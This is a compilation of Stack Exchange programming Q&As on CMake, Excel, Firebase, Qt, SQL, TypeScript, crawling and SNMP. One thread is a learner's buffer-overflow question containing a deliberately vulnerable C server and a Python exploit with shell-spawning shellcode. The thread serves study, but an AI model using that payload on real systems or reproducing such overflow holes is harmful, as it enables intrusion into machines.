text:
Q: Error while passing ndk path string in cmake using Android Studio when using vcpkg I created an Android Studio project that calls c++ code using the JNI. My project worked until I tried to add a package to my project in my CMake file using VCPKG. My CMakeList.txt looks like this:
cmake_minimum_required(VERSION 3.18.1)
**set(CMAKE_TOOLCHAIN_FILE C:/vcpkg/scripts/buildsystems/vcpkg.cmake)**

project("deepsudoku")

**find_package(frugally-deep CONFIG REQUIRED)**
**target_link_libraries(main PRIVATE frugally-deep::fdeep)**

include_directories(${OpenCV_DIR}/jni/include)

add_library( lib_opencv SHARED IMPORTED )
set_target_properties(lib_opencv PROPERTIES IMPORTED_LOCATION ${OpenCV_DIR}/libs/${ANDROID_ABI}/libopencv_java4.so)

add_library(deepsudoku SHARED native-lib.cpp utils.cpp imageProcessing.cpp HoughAccumulator.cpp)
find_library(log-lib log)
target_link_libraries(deepsudoku PRIVATE -ljnigraphics lib_opencv ${jnigraphic-lib} ${log-lib})

The project was building fine until I added the lines marked by **. Now when I try to build the project, I get a CMake Error in CMakeSystem.cmake located in app/.cxx/Debug/u3j6s5y3/arm64-v8a/CMakeFiles/3.18.1-g262b901-dirty/CMakeSystem.cmake. The file looks like this.
set(CMAKE_HOST_SYSTEM "Windows-10.0.19045")
set(CMAKE_HOST_SYSTEM_NAME "Windows")
set(CMAKE_HOST_SYSTEM_VERSION "10.0.19045")
set(CMAKE_HOST_SYSTEM_PROCESSOR "AMD64")

include("C:/vcpkg/scripts/buildsystems/vcpkg.cmake")

set(CMAKE_SYSTEM "Android-28")
set(CMAKE_SYSTEM_NAME "Android")
set(CMAKE_SYSTEM_VERSION "28")
set(CMAKE_SYSTEM_PROCESSOR "aarch64")

**set(CMAKE_ANDROID_NDK "C:\Android\Sdk\ndk\21.4.7075529")**
set(CMAKE_ANDROID_STANDALONE_TOOLCHAIN "")
set(CMAKE_ANDROID_ARCH "arm64")
set(CMAKE_ANDROID_ARCH_ABI "arm64-v8a")
set(CMAKE_ANDROID_ARCH_TRIPLE "aarch64-linux-android")
set(CMAKE_ANDROID_NDK_DEPRECATED_HEADERS "0")
set(CMAKE_ANDROID_NDK_TOOLCHAIN_HOST_TAG "windows-x86_64")
**set(CMAKE_ANDROID_NDK_TOOLCHAIN_UNIFIED "C:\Android\Sdk\ndk\21.4.7075529/toolchains/llvm/prebuilt/windows-x86_64")
**
set(CMAKE_CROSSCOMPILING "TRUE")

set(CMAKE_SYSTEM_LOADED 1)

I get a syntax error while passing the strings in the lines marked by **(Invalid character escape '\A'). The syntax error emerges because there are backslashes instead of forward slashes in the path of the Android NDK. I tried to change the path by hand, but the file seems to be generated by Android Studio because the file is always reset when I build the project and the same error arises. I also tried to change path of the NDK in the Project Structure section and tried to add a different path by adding ndk.dir to the local.properties file. The actual path of the NDK changes, but it always uses backslashes and the same error while parsing the path is thrown. Is there a way to change the backslashes to forward slashes in the path so that the sting can be parsed? Or is there another to avoid this error?


text:
Q: Excel: Multiple MATCH Criteria (with an IF thrown in)
I need to calculate the Overall Score for each row of Table3 in the following manner:

*

*Take the Round number and Pair name from Table3 and find the corresponding row from Table1 which matches both. Take the Score value. (For example, for row 5 of Table3, it is the third row of Table1.) However, if the Pair is listed in column Pair2, then take the Score with the +/- sign inverted. (For example, for row 3 of Table3, it will be the first row of Table1, but the value we get shall be -5.) Let us call this Value1.

*Match the Round number of the row (from Table3) with the Round number from Table2 and get the Score Average value. Let us call this Value2.

*The Overall Score for that row is Value1 - Value2.
Example: For row three: B1's Overall Score at row 3 is: -5-(-1.25)=-3.75
How do I combine multiple MATCH criteria and take care of the IF condition along the way?

A: This can't be done with just MATCH() and IF(). You need to use a formula using arrays.

Enter the follow formula in the range K3:K26:
=SUMPRODUCT(Table1[Score]*(Table3[[#This Row],[Round]]=Table1[Round])*(Table3[[#This Row],[Pair]]=Table1[Pair1])-Table1[Score]*(Table3[[#This Row],[Round]]=Table1[Round])*(Table3[[#This Row],[Pair]]=Table1[Pair2]))-INDEX(Table2[Score Average],MATCH(Table3[[#This Row],[Round]],Table2[Round],0))

The above formula will work on Excel 2007+. The following easier to read version works for Excel 2010+:
=SUMPRODUCT(Table1[Score]*([@[Round]]=Table1[Round])*([@[Pair]]=Table1[Pair1])-Table1[Score]*([@[Round]]=Table1[Round])*([@[Pair]]=Table1[Pair2]))-INDEX(Table2[Score Average],MATCH([@[Round]],Table2[Round],0))

The prettified formula is as follows:
=
SUMPRODUCT(
  Table1[Score]*([@[Round]]=Table1[Round])*([@[Pair]]=Table1[Pair1])
  -Table1[Score]*([@[Round]]=Table1[Round])*([@[Pair]]=Table1[Pair2])
  )
-INDEX(Table2[Score Average],MATCH([@[Round]],Table2[Round],0))

redpajama_set_name: RedPajamaStackExchange


text:
Q: joystick is not working after canvas changed to world space My joystick worked alright until I changed the canvas to world space because I just wanted glowing effect before that it worked pretty well, its just avoiding middle and moving only by sides I downloaded it from unity assets for free and don't know anything about it so I'm asking for help. I also tried different assets but they also were like that.
thanks Seit.

A: Find this line in Joystick.cs and comment it out.
if (canvas.renderMode == RenderMode.ScreenSpaceCamera)


text:
Q: Firebase Web + Functions + App Check auth error when using emulator on localhost I run a local emulator for firebase functions. When I'm executing an onCall function from the frontend side I see this message in my functions' console:

{"verifications":{"app":"VALID","auth":"MISSING"},"logging.googleapis.com/labels":{"firebase-log-type":"callable-request-verification"},"severity":"INFO","message":"Callable request verification passed"}

I followed all the instructions (activated App Check in Firebase console, connected reCaptcha, and set up the debug token), but still no success. Does anyone have an idea what's wrong here? Does the App Check work with functions using emulator at all?

A: I just found what was the problem. I use TypeScript and I did one trick to make path aliases to work with the emulator (by default they do not work). So I had a code explicitly compiling TS using tsconfig-paths npm package in the index file. When I removed that code and refactored my files to not use path aliases it started working for some reason.


text:
Q: buffer overflow - exploit works while debuging with gdb, but I am trying to learn/understand buffer overflow. I thoughI already got it, but now I have problems with exploiting this (mine) vulnerable code.
When I run my exploit, when server runs in gdb, exploit works and I get remote shell(payload is correctly executed). But then I start the server outside debugger, when I start my exploit I get Floating point exception. Could anyone please explain me what I am doing wrong?
server:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

void error(const char *msg) {
   perror(msg);
   exit(1);
}

void passcheck(int sockfd) {
   char buffer[1024];
   int newsockfd, n;
   struct sockaddr_in cli_addr;
   socklen_t clilen;

   for (n=0; n<1024; n++) buffer[n] = 0x31;

   clilen = sizeof(cli_addr);
   newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
   if (newsockfd < 0)
      error("ERROR on accept");
   n = write(newsockfd,"PASSWORD: ",10);
   if (n < 0) error("ERROR writing to socket");
   n = read(newsockfd,buffer,2024);
   if (n < 0) error("ERROR reading from socket");
   close(newsockfd);
   return;
}
int main(int argc, char *argv[]) {
   int sockfd, portno;
   struct sockaddr_in serv_addr;
   sockfd = socket(AF_INET, SOCK_STREAM, 0);
   if (sockfd < 0)
      error("ERROR opening socket");
   bzero((char *) &serv_addr, sizeof(serv_addr));
   portno = 5001;
   serv_addr.sin_family = AF_INET;
   serv_addr.sin_addr.s_addr = INADDR_ANY;
   serv_addr.sin_port = htons(portno);
   if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0)
      error("ERROR on binding");
   listen(sockfd,5);
   while(1) {
     passcheck(sockfd);
     printf("Try again\n");
   }
   close(sockfd);
   return 0;

exploit:
    #!/usr/bin/python

import socket

payload =  "\x90"*(502)+"\xe8\xff\xff\xff\xff\xc3\x5d\x8d\x6d\x4a\x31\xc0\x99\x6a\x01\x5b\x52\x53\x6a\x02\xff\xd5\x96\x5b\x52\x66\x68\x2b\x67\x66\x53\x89\xe1\x6a\x10\x51\x56\xff\xd5\x43\x43\x52\x56\xff\xd5\x43\x52\x52\x56\xff\xd5\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\xeb\x04\x5f\x6a\x66\x58\x89\xe1\xcd\x80\x57\xc3\x90"+"\x04\xf3\xff\xbf"*150

s = socket.socket()
host = "127.0.0.1"
port = 5001
s.connect((host, port))
s.send(payload)
s.close

A: When I try to run your example program (on OS X), I'm getting a segmentation fault, but I get that whether or not I run it in GDB:
Program received signal SIGSEGV, Segmentation fault.
0x00007fff832c2701 in __findenv () from /usr/lib/system/libsystem_c.dylib
(gdb) bt
#0  0x00007fff832c2701 in __findenv () from /usr/lib/system/libsystem_c.dylib
#1  0x00007fff832c2754 in getenv () from /usr/lib/system/libsystem_c.dylib
#2  0x00007fff83283b35 in _simple_asl_init ()
   from /usr/lib/system/libsystem_c.dylib
#3  0x00007fff8327afc0 in pthread_once ()
   from /usr/lib/system/libsystem_c.dylib
#4  0x00007fff832838f8 in _simple_asl_log_prog ()
   from /usr/lib/system/libsystem_c.dylib
#5  0x00007fff832bff8b in __stack_chk_fail ()
   from /usr/lib/system/libsystem_c.dylib
#6  0x0000000100000c86 in passcheck (sockfd=-1073745148) at foo.cpp:31

Notice that __stack_chk_fail seems to be part of the stack smashing protection used by GCC, so your buffer overflow attempt has not gone unnoticed. I must admit I'm not entirely sure why it segfaults later on though.
Either way, I wouldn't be surprised if you're hitting something similar when you're trying this out for yourself. If you want to experiment with buffer overflows, I would recommend using an older Linux distro & gcc version, and make sure you turn off the GCC protection mechanisms. I'd recommend Damn Small Linux, which still has a 2.4 kernel, I seem to remember 2.6 adding some buffer overflow protection mechanisms as well.
You've already learned that buffer overflows aren't as simple as they probably once used to be! :-)


text:
Q: DB4O with Silverlight RIA Services I've considered using the db4o OODBMS with a recent Silverlight / RIA Services project, but there's one point that I could use some advice on - how to make associations work.  RIA Services requires that you mark all of your associated entities with an AssociationAttribute.  The AssociationAttribute's constructer requires that you specify your entity's key to the associated entity, and the key of the associated entity itself.
As an example, imagine that I have a Racer class with CarID and Car properties, and a Car class with an ID property.  My Racer class would look something like this:
class Racer
{
    public int ID { get; set; }
    public int? CarID { get; set; }
    [Association("Racer_Car", "CarID", "ID")]
    public Car Car { get; set; }
}

The problem that I see with using db4o (or any OODBMS) is that foreign keys and primary keys do not, and need not, exist - and the result is that I wouldn't need the Racer.CarID and Car.ID properties.  To make this work with RIA Services, I would need to create my own unique keys, which I don't mind, I just don't know the best way to go about doing so.
So my question for you is "how would you create these keys/IDs"?
Since there isn't any concept of an auto incrementing generated field (none that I'm aware of any way), I would have to choose between trying to manually, safely increment the keys, or use something like a Guid. Since the former would be more difficult to manage with multiple users and/or multithreading, I'd imagine that using a Guid would be the simplest solution.
So let's consider using a Guid.  The easiest solution would be to create my ID properties, just as I had within the example above, but use a Guid instead of int. I would need to set the ID to a new Guid after creating new entities - then, whenever I set the the Racer.Car property, I would also need to set the Racer.CarID.
Doing that by hand would be prone to error, so I'd want a lot of that handled in the property getters and setters, but I'm not sure of the best way to implement that.

That's what I've thought of so far. I think I'll look into how the Linq-to-SQL generated code handles some of these concerns - maybe I'll find a clue there.
Any suggestions would be greatly appreciated.
Thanks,
-Charles

A: Db4o does use IDs and UUIDs internally and it is possible to use those. Also worth reading is this.


text:
Q: createInstance vs createInstanceWithArguments I am trying to generate Typescript definitions from the LibreOffice IDL (via Doxygen-generated XML).
The XMultiServiceFactory interface has two methods for creating instances: createInstance and createInstanceWithArguments. However, I can't seem to find which types require arguments and what they are, and should be instantiated with createInstanceWithArguments; and which types don't require arguments, and should be instantiated with createInstance.
Being able to define overloads based on the string parameter passed to the method would enable static typing based on those overloads:
// automatically typed as com.sun.star.frame.Desktop
let desktop = objServiceManager.createInstance('com.sun.star.frame.Desktop');

otherwise the result would have to be explicitly typed:
let desktop = objServiceManager.createInstance('com.sun.star.frame.Desktop')
    as com.sun.star.frame.Desktop;

How can I know from the documentation whether a given type needs arguments or not, and what those arguments are?
(LibreOffice 5.3.5 / Windows 10 64-bit)
(Originally posted at ask.libreoffice, with no answer.)

A: According to the Service Manager dev guide:

The service definition should describe the meaning of each element.

I take this to mean that the IDL files should tell what if any arguments are needed.  For example, in the source code file  /offapi/com/sun/star/configuration/ConfigurationProvider.idl, there is a detailed description of arguments, and the comments state that it is also possible to create an instance without any arguments.  (The code does not show the arguments however; it's explained only in comments).
It looks like all the relevant information from that file has been included in the online documentation for ConfigurationProvider, so there is no need to actually look at the IDL files.
Contrast that with com.sun.star.frame.Desktop, which does not take arguments, as shown in the example at https://wiki.openoffice.org/wiki/Documentation/DevGuide/OfficeDev/Using_the_Desktop.


text:
Q: Qt Undo/Redo implementation, can't connect to a button I post the question also in the Qt Forum, here
I am trying to implement an undo and redo commands in my application. I have a QTreeWidget and I'd like to let the user undo and redo an action (ex. change a value in a QTreeWidgetItem columns in the QTreeWidget and undo/redo it).
Here part of my code:
class A.h
    class A : public QWidget
{
    Q_OBJECT
public:
    explicit A(...);
    ~A();

    ChangeValueTreeCommand      *commands;
    QUndoStack                  *undoStack;
    QPushButton                 *undoBtn;
    QPushButton                 *redoBtn;
    QString                      newValue;

    void changeItem(QTreeWidgetItem* treeWidgetItemChanged, int col);
};

class A.cpp
A::A(...){
undoStack = new QUndoStack(this);
}

void A::changeItem(QTreeWidgetItem* treeWidgetItemChanged, int col){

     ....
    commands = new ChangeValueTreeCommand(treeWidgetItemChanged, col, newValue);
    connect(undoBtn, SIGNAL(clicked()), commands, SLOT(undo()));
    undoStack->push(commands);

}

class Commands.h
    #ifndef COMMANDS_H
#define COMMANDS_H

#include <QApplication>

#include <QUndoCommand>
#include <QTreeWidgetItem>

class ChangeValueTreeCommand : public QUndoCommand
{
public:
    explicit ChangeValueTreeCommand(QTreeWidgetItem* treeWI = NULL, int c = 0, const QString changedV = "");
    ~ChangeValueTreeCommand();

    QTreeWidgetItem* treeWItem;
    const QString    changedValue;
    int col;

public slots:

    void undo();
    void redo();
};

#endif // COMMANDS_H

class Commands.cpp
    #include "Commands.h"

ChangeValueTreeCommand::ChangeValueTreeCommand(QTreeWidgetItem* treeWI, int c, const QString changedV)
        : treeWItem(treeWI), col(c), changedValue(changedV)

{}

ChangeValueTreeCommand::~ChangeValueTreeCommand(){}

void ChangeValueTreeCommand::undo()
{
    const QString oldValue = treeWItem->text(col);
    treeWItem->setText(col, oldValue);
}

void ChangeValueTreeCommand::redo()
{
    treeWItem->setText(col, changedValue);
}

The problem is that when the user changes the value in the QTreeWidgetItem, it automatically appears the previous value. Moreover, I would like to connect the undo and redo functions to two buttons, but the compiler says that

1543: error: C2664: 'QMetaObject::Connection QObject::connect(const QObject *,const char *,const QObject *,const char *,Qt::ConnectionType)'ÿ: cannot convert parameter 3 from 'ChangeValueTreeCommand *' to 'const QObject *'
  Types pointed to are unrelated; conversion requires reinterpret_cast, C-style cast or function-style cast

Can someone help me? Thx

A: Your undo and redo Buttons should call undoStack->undo() / undoStack->redo(). This will move the stack pointer and will call the undo/redo function of the current command.
See the Qt Documentation for a detailed Explanation: http://qt-project.org/doc/qt-4.8/qundostack.html#undo
Escpecially this part:

New commands are pushed on the stack using push(). Commands can be
  undone and redone using undo() and redo(), or by triggering the
  actions returned by createUndoAction() and createRedoAction().
QUndoStack keeps track of the current command. This is the command
  which will be executed by the next call to redo(). The index of this
  command is returned by index(). The state of the edited object can be
  rolled forward or back using setIndex(). If the top-most command on
  the stack has already been redone, index() is equal to count().


text:
Q: Android BroadcastReceiver in separate project I'm developing two Android applications.
The first one calls broadcast receiver from activity.
The second one contains broadcast receiver that is called from first application.
I've manage to do broadcast call when it is in the same application with caller activity.
But when I take receiver to separate project it doesn't work. What should I change?

A: This is how I register receiver:
 <receiver
        android:name=".TestReceiver"
        android:enabled="true"
        android:exported="true"
        android:process=":deltaFO">
        <intent-filter>
            <action android:name="android.intent.action.BOOT_COMPLETED"/>
            <action android:name="com.myapp.intent.action.FILE_OPERATION" />
        </intent-filter>

    </receiver>

This is how I send intent
Intent intent = new Intent("com.myapp.intent.action.FILE_OPERATION");
        intent.putExtra("operation", operation);
        context.sendBroadcast(intent);

This is class that receives intent:
public class TestReceiver extends BroadcastReceiver{
public final String TAG="TestReceiver";

@Override
public void onReceive(Context context, Intent intent) {
    Log.i(TAG,"EXTERNAL BROADCAST...");

}

}


text:
Q: regexp to match text between . " and blank line i'm new to regexp and I'm stuck with trivial parsing task;
Giving following structure i need regexp that matches all text between empty lines, so i could iterate through array of matches, and parse each item as a question
id1. "question title 1"
* variant one
* variant two
* three // comment

id2. "question title 2"
+ variant one
+ two
+ three

id3. "Anoter question title"
another variant

A: You can use \. ".* this will give you . "question title 1" as one of the match. You can read from fourth char to last but one.
I couldn't figure out a way to match both question and answer line using regular expression. Because, this regular expression will match multiple lines but \. "[\s\S]+ but it will match until end of the string matching all questions and answers into a single string.
If we assume that the answers will always start with either + or *, Another alternative is to use (\. ".*)|([\*\+].*) This will match both questions and answers. However questions and answers will be separate matches.
Another way is to split the string using id. " This will give each of your question and answer into another string. However you may have to remove the " at the end of the question manually.
Another way I can imagine is splitting entire string using ^\s*$ . This will split the string using blank line and give you both question and answer as one single group. I hope this helps.


text:
Q: How to draw a curve without knowing 4 points? According to cairo example code, following code
double x=25.6,  y=128.0;
double x1=102.4, y1=230.4,
       x2=153.6, y2=25.6,
       x3=230.4, y3=128.0;

cairo_move_to (cr, x, y);
cairo_curve_to (cr, x1, y1, x2, y2, x3, y3);

cairo_set_line_width (cr, 10.0);
cairo_stroke (cr);

cairo_set_source_rgba (cr, 1, 0.2, 0.2, 0.6);
cairo_set_line_width (cr, 6.0);
cairo_move_to (cr,x,y);   cairo_line_to (cr,x1,y1);
cairo_move_to (cr,x2,y2); cairo_line_to (cr,x3,y3);
cairo_stroke (cr);

can generate the curve and two pink lines.

But that need 4 points, (x,y), (x1,y1), (x2,y2), (x3,y3)
If I only have x,y and x3, y3 (start and end points of the curve),
is there any math formula to generate those pink lines without knowing x1,y1 and x2,y2?
Edit:
Its for the case that I generate the curve through following way.
cairo_move_to (cr, x, y);
cairo_curve_to (cr, x, y3, x3, y, x3, y3);

A: Just make the points up:

*

*start with your two known points, (x1,y1) and (x3,y3):

*

*join the two lines:

*

*create P2 as halfway between P1 and P3:

*

*now rotate P3 90° clockwise:

*

*do with same with P4, create it halfway between P1 and P3:

*

*rotate P4 90° clockwise:

*

*Now you have your four points, and can draw your bézier curve:

The midpoint can be calculated as:
Pmid = (x1+x3)/2 , (y1+y3)/2
double x1=25.6,  y1=128.0;
double x3=153.6, y3=25.6;

double xm = (x1+x3)/2;
double ym = (y1+y3)/2;

//rotate Pm by 90degrees around p1 to get p2
double x2 = -(ym-y1) + y1;
double y2 =  (xm-x1) + x1;

//rotate Pm by 90degrees around p3 to get p4
double x4 = -(ym-y3) + y3;
double y4 =  (xm-x3) + x3;

A: Not unless you provide some kind of constraint that can be used to derive the location of the pink lines. By themselves, two end-points can only define a straight line segment.

A: The pink lines represent the departure vectors from the two end points. Without these vectors, the "curve" between the two points is simply a straight line (unless you have some other information that defines it).
If you don't have (x1,y1) and (x2,y2), you can just use (x3,y3) as the endpoint for the pink line from (x,y) and vice versa. They'll end up right on top of your black line, which is where they should be for a straight line.
If the curve is defined by a function, calculate the derivative as you approach the end points and draw the tangent line along that angle.


text:
Q: How can I use row_number over partition in outer select statement? I have a query similar to this:
select a.id,
       a.date,
       -- case statements using h.fields
  from advr a,
       (select id,
               date,
               advr_id,
               advr_nbr,
               row_number() over(partition by id, date order by advr_nbr) adv_number
          from advr_hist) h
  where a.id = h.id
    and a.date = h.date
  group by a.id, a.date

One example of my many case statements:
max(case
      when h.adv_number = 1 then
        h.advr_id
      else
        ' '
    end) advr_1

This works perfectly, but it loads very slowly. If I remove the case statements and the h table, everything is fast. If I just query out the h select statement, everything is fast. Yet joining them makes it run very slow, so I've considered reworking this as a view.
How can I achieve the same results from the select statement, but have the row_number() adv_number field in the outer select statement? Hopefully this makes sense.

A: with result (id,date,_id)
as (
  select id,date,
          case when row_number() over(partition by id, date order by advr_nbr)=1
               then 1 else 0 end as [_id]
          from advr_hist)
select id,date from result
where _id=1

A: You haven't posted any execution plans.  Nor have you attempted to explain what your query is trying to do.   So all we can do is guess.
My guess is, you just want the details from the earliest row in the sub-query.  Your current implementation uses aggregation to do this, which will generate sorts and lots of CPU cycles.  So it's probably not the joining that's the problem, it's the filtering of the sub-query.
In which case, you could simply do this:
select a.id,
       a.date,
       h.advr_id as  advr_1
  from advr a,
       (select id,
               date,
               advr_id,
               advr_nbr,
               row_number() over(partition by id, date order by advr_nbr) adv_number
          from advr_hist) h
  where a.id = h.id
    and a.date = h.date
    and h.adv_number = 1

If this does not produce the outcome you want you will need to  edit your question and provide more details.

"so I've considered reworking this as a view."

A view is a convenience not a performance enhancement.


text:
Q: Problem formatting python when using Prettier in vscode In vscode I want to use Prettier as my default formatter, but not for Python, where I will just use autopep8. I have the following settings now:
{
  "workbench.iconTheme": "vscode-icons",
  "workbench.editorAssociations": [
    {
      "viewType": "jupyter.notebook.ipynb",
      "filenamePattern": "*.ipynb"
    }
  ],
  "git.confirmSync": false,
  "editor.formatOnPaste": true,
  "editor.formatOnSave": true,
  "editor.defaultFormatter": "esbenp.prettier-vscode",
  "python.formatting.provider": "autopep8",
  "explorer.confirmDelete": false,
  "python.showStartPage": false,
  "explorer.confirmDragAndDrop": false
}

When I save a python file, it gives me the message: "Extension 'Pretier - code formatter cannot format etc...'. So, apparently it still uses the wrong formatter for python files. How do I change this?!

A: Meaningful config snippet from @round_circle's answer:
"[python]": {
    "editor.defaultFormatter": "ms-python.python"
  }

After adding it, autopep8 worked for python files.

A: You can do what @round_circle did as that should work. If you don't want to set an initial provider e.g you might want to use Black instead, you can also add in to your settings.json:
"[python]": {
    "editor.defaultFormatter": null
  },

I happen to be using the Python extension from Microsoft and defaults to autoPep8 and this will prompt you to set up the formatter you want to use. photo of the prompt to add formatter You can then add your provider in the settings.json by adding:
"python.formatting.provider": <your_formatter>

This can be referenced here as well: VS Code Formatting

A: If I disabled Prettier as the default formatter, it would not format on save anymore, but my Python would be formatted by autopep8 on save. With this in mind, the following solution worked for me to have both Prettier working for other languages and autopep8 for Python:
{
  "workbench.iconTheme": "vscode-icons",
  "workbench.editorAssociations": [
    {
      "viewType": "jupyter.notebook.ipynb",
      "filenamePattern": "*.ipynb"
    }
  ],
  "git.confirmSync": false,
  "editor.formatOnPaste": true,
  "editor.formatOnSave": true,
  "python.formatting.provider": "autopep8",
  "explorer.confirmDelete": false,
  "python.showStartPage": false,
  "explorer.confirmDragAndDrop": false,
  "python.linting.pylintArgs": ["--load-plugins=pylint_django"],
  "javascript.updateImportsOnFileMove.enabled": "always",
  "editor.defaultFormatter": "esbenp.prettier-vscode",
  "[python]": {
    "editor.defaultFormatter": "ms-python.python"
  }
}

Let me know if somebody finds a better solution!

A: In VSCode, Python's "Formatting" is provided by the Python extension. Therefore, for Python, please use the formatting from the Python extension (for example: autopepe8) to avoid using repeated formatting settings so that they do not work.

Reference: Formatting.


text:
Q: Typescript and text transformation (toLowerCase) is losing my type Simple reproduction of my problem:
const demo = {
    aaa: 'aaa',
    bbb: 'bbb',
}

const input = 'AAA'

console.log(demo[input.toLowerCase()])

Playground
JS itself will work. It will change 'AAA' to 'aaa' which does exist in demo object.
But TS throws error:
Element implicitly has an 'any' type because expression of type 'string' can't be used to index type '{ aaa: string; bbb: string; }'.

It's because it sees this value as any String, not 'aaa'. So TS does not allow to any text transformations in it's compiler?
This uppercase value comes from API (graphql enum) so I'm not able to change that. In other hand this object comes from library that uses normal pascalCase keys. So how I can connect both without TS complaying?

A: What you really want to assert is that input.toLowerCase() results in a valid key for the map demo. You can express that like this:
console.log(demo[input.toLowerCase() as keyof typeof demo])

This should give you full type safety in the surrounding code. This is fine:
let ok: 'aaa' | 'bbb' = demo[input.toLowerCase() as keyof typeof demo]

But these are rejected:
let error1: 'aaa' = demo[input.toLowerCase() as keyof typeof demo]
let error2: 'ccc' = demo[input.toLowerCase() as keyof typeof demo]

A: In addition to what @Thomas said in the above answer,
Whenever you use Typescript, You should clearly define the types of the variables and objects.
Check out the below code.
type d = {
    [key: string]: string
}

const demo: d = {
    aaa: 'aaa',
    bbb: 'bbb',
}

const input: string = 'AAA'

console.log(demo[input.toLowerCase()])


text:
Q: Iterating through links for crawler I'm making a crawler with puppeteer in JavaScript. I am having troubles iterating through and crawl on the links I initially crawled.
Here's my crawl function
const puppeteer = require('puppeteer');

async function crawl(website){
  let links = [];

  try {
    const browser = await puppeteer.launch({ args: ['--no-sandbox'] });
    const page = await browser.newPage();
    await page.goto(arguments[0]);

    const hrefs = await page.$$eval("a", (list) => list.map((elm) => elm.href));
    for (let i = 0; i < hrefs.length; i++) {
      links.push(hrefs[i]);
    }

    await browser.close();
  } catch (error) {
    console.log(error)
  }

  return links;
};

I need help crawling through the links I initially crawled first. Then keep going until I reach some sort of end, then continue onto the next. This is really complex for me and I don't know what to try.

A: I deduce from the statement, that you also want to navigate internally between the links that you find during the pages, and I assume you're not interested in knowing the parents of the links (if so, this answer won't help you much).. This code should work.
The crawl function:
async function crawl(website){
   let links = [];
     try {
       const browser = await puppeteer.launch({ args: ['--no-sandbox'] });
       const page = await browser.newPage();
       await page.goto(website);

       const hrefs = await page.$$eval("a", (list) => list.map((elm) => elm.href));
       for (let i = 0; i < hrefs.length; i++) {
         let unique_link = hrefs[i];
         if(hrefs[i].includes("#")){
           unique_link = hrefs[i].split("#")[0]; //Remove the "#" of a link (identifiers in url)
         }
         links.push(unique_link);
       }

       await browser.close();
     } catch (error) {
       console.log(`=> Error on ${website} (Probably an invalid link or dont have any link)`)
     }

     console.log("Running =>", links); //This console log should have all the links of the current page
     return links;
};

The main function and the call
async function main(){
  let all_links = ["https://example.com"];
  let done = [];

  while(all_links.length > 0){
    if(done.includes(all_links[0])){ //To avoid a loop in the links
      all_links.shift();
    } else {
      let links = await crawl(all_links[0]);
      all_links = [...all_links, ...links];

      done.push(all_links[0]);
      all_links.shift();
    }
  }

  console.log("Finished:", all_links); //This should be empty
  console.log("Finished:", done); //This should be filled with all the links crawled
}

main();

CAUTION:
As I mentioned, this code navigates between all the links found by the function, I didn't change that. So, be careful because it can possibly index links from domains that are probably not relevant (like social networks and etc) and this can cause the code to run "eternally" (it happened when I decided to test). You can build some filters inside the function.


text:
Q: How to calculate CPU % based on raw CPU ticks in SNMP According to http://net-snmp.sourceforge.net/docs/mibs/ucdavis.html#scalar_notcurrent ssCpuUser, ssCpuSystem, ssCpuIdle, etc are deprecated in favor of the raw variants (ssCpuRawUser, etc).
The former values (which don't cover things like nice, wait, kernel, interrupt, etc) returned a percentage value:

The percentage of CPU time spent processing
  user-level code, calculated over the last minute.
This object has been deprecated in favour of
  'ssCpuRawUser(50)', which can be used to calculate
  the same metric, but over any desired time period.

The raw values return the "raw" number of ticks the CPU spent:

The number of 'ticks' (typically 1/100s) spent
  processing user-level code.
On a multi-processor system, the 'ssCpuRaw*'
  counters are cumulative over all CPUs, so their
  sum will typically be N*100 (for N processors).

My question is: how do you turn the number of ticks into percentage?
That is, how do you know how many ticks per second (it's typically — which implies not always — 1/100s, which either means 1 every 100 seconds or that a tick represents 1/100th of a second).
I imagine you also need to know how many CPUs there are or you need to fetch all the CPU values to add them all together. I can't seem to find a MIB that gives you an integer value for # of CPUs which makes the former route awkward. The latter route seems unreliable because some of the numbers overlap (sometimes). For example, ssCpuRawWait has the following warning:

This object will not be implemented on hosts where
  the underlying operating system does not measure
  this particular CPU metric.  This time may also be
  included within the 'ssCpuRawSystem(52)' counter.

Some help would be appreciated. Everywhere seems to just say that % is deprecated because it can be derived, but I haven't found anywhere that shows the official standard way to perform this derivation.
The second component is that these "ticks" seem to be cumulative instead of over some time period. How do I sample values over some time period?
The ultimate information I want is: % of user, system, idle, nice (and ideally steal, though there doesn't seem to be a standard MIB for this) "currently" (over the last 1-60s would probably be sufficient, with a preference for smaller time spans).

A: Since these are absolute counters, you would have to regularly retrieve these
metrics and then do the calculation yourself. So, if you want the number over
the next minute, you would have to get the numbers, wait a minute, and get
the numbers again. SNMP would not update those numbers too often so you may
not be able to get these every second anyway.
Once you have the raw user, nice, system, idle, interrupts counters you can
get the total number of ticks by summing these up. Even the MIB description
says that adding them up is expected.
$ snmptranslate -Td .1.3.6.1.4.1.2021.11.52
UCD-SNMP-MIB::ssCpuRawSystem
...
    This object may sometimes be implemented as the
    combination of the 'ssCpuRawWait(54)' and
    'ssCpuRawKernel(55)' counters, so care must be
    taken when summing the overall raw counters."

Then, regardless of how long it has been since you took the measurements, the
total number of ticks over that period is total1 - total0. And the idle
percentage would be (idle1-idle0)/(total1-total0).
You are asking "how do you know how many ticks per second it is typically" but
as you can see, you don't need to know that.

A: Since most of the Linux distros have the 1/100 ticks, a very simple way to do it is via bash:
[myhost]# echo "scale=2; -1 * (`snmpget -Oqv -v2c -c public localhost .1.3.6.1.4.1.2021.11.54.0;sleep 5` - `snmpget -Oqv -v2c -c public localhost .1.3.6.1.4.1.2021.11.54.0` )/`snmpwalk -Oqu -v2c -c public localhost 1.3.6.1.2.1.25.3.3.1.2 | wc -l`/5" | bc | sed 's/^\./0./' | awk '{print "CPU_IOWAIT% " $1}'

IOWAIT 0.07

[myhost]#

On RH/Centos and Ubuntu, it works well and precisely for 5 secs interval... Less than that, snmp does not increment the Counter32, and you get zeroes all the time.
I have done loops and compared with iostat -c 5 100, also generating IO with dd, and it worked well.
You can use any of the ssCPUraw OIDs (1.3.6.1.4.1.2021.11.5x from 50 to 57, if I am not wrong, in my example I have used ssCPURawWait, 54),  and the 1.3.6.1.2.1.25.3.3.1.2 | wc -l is to get the number of cores...
You need to divide the "delta" of the counter / interval - in my case, 5 /  - this is basically what the script does!

